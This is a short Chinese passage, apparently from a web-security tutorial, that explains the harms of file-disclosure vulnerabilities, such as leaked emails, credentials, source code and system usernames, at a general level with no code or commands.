电子邮件泄露：邮件泄露可能会被垃圾邮件骚扰，还可能被攻击者利用社会工程学手段获取更多信息，扩大危害。
文件泄露漏洞
敏感文件的泄露可能会导致重要信息的泄露，进而扩大安全威胁，这些危害包括但不局限于：
帐号密码泄漏：可能导致攻击者直接操作网站后台或数据库，进行一些可能有危害的操作。
源码泄露：可能会让攻击者从源码中分析出更多其它的漏洞，如SQL注入，文件上传，代码执行等。
系统用户泄露：可能会方便暴力破解系统密码。